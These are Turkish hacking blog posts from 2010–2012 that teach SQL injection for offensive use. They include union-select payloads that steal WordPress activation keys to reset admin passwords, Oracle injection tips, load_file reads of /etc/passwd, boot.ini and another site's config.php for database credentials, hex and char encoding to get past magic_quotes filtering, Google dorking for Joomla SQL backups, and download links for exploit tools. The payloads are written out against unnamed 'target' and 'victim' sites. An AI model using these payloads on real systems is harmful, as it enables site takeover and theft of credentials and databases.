4.03.2012

Post mssql

Post mssql yaparak update yaparak panele girmeyi anlattım.


http://www.4shared.com/rar/Ye0HjQUq/postmssqlinjection.html

27.02.2012

Wordpress şifre sıfırlama.

Merhaba bügün size wordpress'de şifre sıfırlamayı anlatacam.

Normalde Wordpress sql injection'da user_login,user_pass kolonlarından bilgileri çekeriz . Ama wordpress şifre algoritması olarak portable php password hashing framework kullandığı için bunu kırmak biraz zordur.

Bu şekilde md5 kırma yerine admin mailine aktivasyon kodu göndererek şifre sıfırlamayı nasıl yaparız.

örneğin ;

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from/**/wp_users/*

Şimdi bizim aktivasyon kodunu alabilmemiz için ilk önce şifreyi unuttum deyip admin mailine aktivasyon

kodunu yollatmamız lazım.

http://hedef.com/wp-login.php?action=lostpassword

burdan admin adını yada mailini yazıp aktivasyon kodunu yollamasını istiyoruz.

Ardından user_pass isimli kolon yerine user_activation_key kolonun yazıp aktivasyon kodunu alıyoruz

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_activation_key,0x7c)/**/from/**/wp_users/*




user_login : security

user_activation_key : CDFSAlCsTUvBDUMGHTcd

bu şekilde admin ve şifreyi değiştirmek için işimize yarayacak olan aktivasyon kodunu alıyoruz .

wp-login.php?action=rp&key=[Aktivasyon kodunu buraya ]&login=[Kullanici adinida buraya ]

wp-login.php?action=rp&key=CDFSAlCsTUvBDUMGHTcd&login=security

bu şekilde yaptığımızda yeni şifrenizi yazıp admin olarak giriş yapacaksınız.


Not: Eğer ki aktivasyon kodu yollamadan aktivasyon kodu çekmeye çalışırsanız daha önceden aktivasyon

kodu yollanmadığı için " Can not get Length of 'Column Data' " yazar bunun içinde öncelikle

şifremi unuttum diyip aktivasyon kodunu yollayın.

17.02.2012

Http ve Https Arasindaki Fark

Merhaba arkadaşlar uzun süredir pek ilgilenmiyorum .İş , okul derken pek zaman kalmıyor.
Bügün size aslında internete her girdiğimizde gördüğümüz ama ne işe yaradığını bilmediğimiz http ve https arasındaki farkı açıklamaya çalışacam .

Https (Hyper Text Transfer Protocol Secure) genel olarak banka sistemleri , kredi kartı ile alışveriş yapılan ve diğer güvenliğine önem veren firmalara tarafından yaygın olarak kullanılır . Çünkü https de giriş yaptığınızda bilgileriniz sizin ve giriş yaptığınız adres tarafından okunabilecek şekilde şifrelenir.Http de ise böyle bir şifreleme yoktur.Sizin giriş yaptığınız verilere başka kişiler ulaşabilir .

Ek olarak eklemek isteyeceğim bir şey daha var .Dün gece Ttnet borcunu ödemeyi unuttuğum için internet bağlanmaya çalıştığım zaman ttnet borç ödeme ekranına yönleniyordu . http://siteadi.com/ diye siteye bağlanmaya çalıştığım zaman ttnet borc ödeme ekranı çıkıyordu .http:// yerine https://siteadi.com/ diye girdiğim zaman ttnet borc ödeme ekranı çıkmadan rahatlıkla internete bağlanabiliyorsunuz .
Bir daha ki sefer görüşmek dileğiyle .

30.07.2011

Oracle'de püf noktalar

Oracle'de sql kasmak isteyenler için bir kaç püf noktaya değinecem ; oracle da veri tipleri uyuşmadığından null,null diye başlarsıniz.

from all_tables dersiniz information_schema.tables karşılığıdır

from kullanmadan select çekemezsin

all_tab_columns < bu da information_schema.columns karşılığı

table_name column_name kolon adları aynı


union select version from all_Tables veya union select user from all_Tables

diye deneme yapcaksıniz geri döndürüyosa char kolonu tutturmuşsunuz

yoksa blind kasarsıniz sonra tabloları kullanıcına göre çekmek istiyosaniz where owner=user diceksiniz

all_tables tan table_name çekersen yetki olan tüm tablo adlarını verir

ama sonra onları doğrudan from tablo şeklinde çekebilmeniz için çektiğiniz tablonun kendi kullanıcı adında olması lazm

yoksa owner ını da çekip başına misal from KULLANICI.TABLO yazarsıniz bi de oracle da tüm tablo kolon adları büyük harftir

sistem tabloları hariç

Oracle'de hex kullanılmaz chr (ascii tablosu) kullanilir


birleştirme yapmak için

mysql de concat()
mssql de +
oracle da ||
postgre de ||
kullanılır
birleştirme yapmak için
misal
union select AD||'|SOYAD from OGRENCI
misal
322 union select null,null,AD||' '||SOYAD||'|MESLEK||'|SIFRE,null,null,null,null,null,null from DURUM.PERSONEL where AD='YASİR'

mesela yazıyı charlayıp yollayacaksanız

char(42)+char(352)


bu şekilde ama url den get ile gönderdiğinde + lar boşluk algılanır o yüzden

char(42)%2bchar(352)

şeklinde yazacaksıniz %2b + nın karşılığıdır

Bügünlük bu kadar yeter Bir dahaki sefere de oracle'de like kullanımını anlatacam.

Agd_Scorp'da burda teşşekürlerimi iletiyorum.

3.07.2011

Joomla sql yedeklerine ulaşmak.

Bu yöntemle google üzerinden arama yaparak joomla kullanan sitelerin sql yedeklerine nasıl ulaşılır onu gösterecem.




Şekil 1:



Şekil 2:



Şekil 3:

25.11.2010

osCommerce Online Merchant

Merhaba arkadaşlar bügün size osCommerce Online Merchant sistemindeki açık için kodlanmış programın kulanımını anlatmaya çalıştım.Video yu izleyin anlamadığınız yer olursa söylersiniz

http://osc.eclass.tw/images/vezir.rar

18.10.2010

Hacking Anatomi

Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner

ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını

öğreniyoruz

ozn.php?=1order+by+6--

*yaptık sayfa hata verdi


ozn.php?id=1+order+by+7–-

*bu şekil yaptık sayfa hata vermeden açıldı

* kolon sayısını ogrendik 7

ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

* Kolon sayısınının esit oldugunu soyluyor.

ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,

*Windows icin de aynı sey gecerlidir.



* Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*



Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”



Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.



- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “ozn"

/home/ozn/httpdocs:
/home/site/httpdocs:



Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

* Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*



Syntax Hataları ve Çözümleri

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7

ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7




“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8



/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8



* Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>

Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..

Hatasız kul olmaz Hata varsa düzeltirsin :)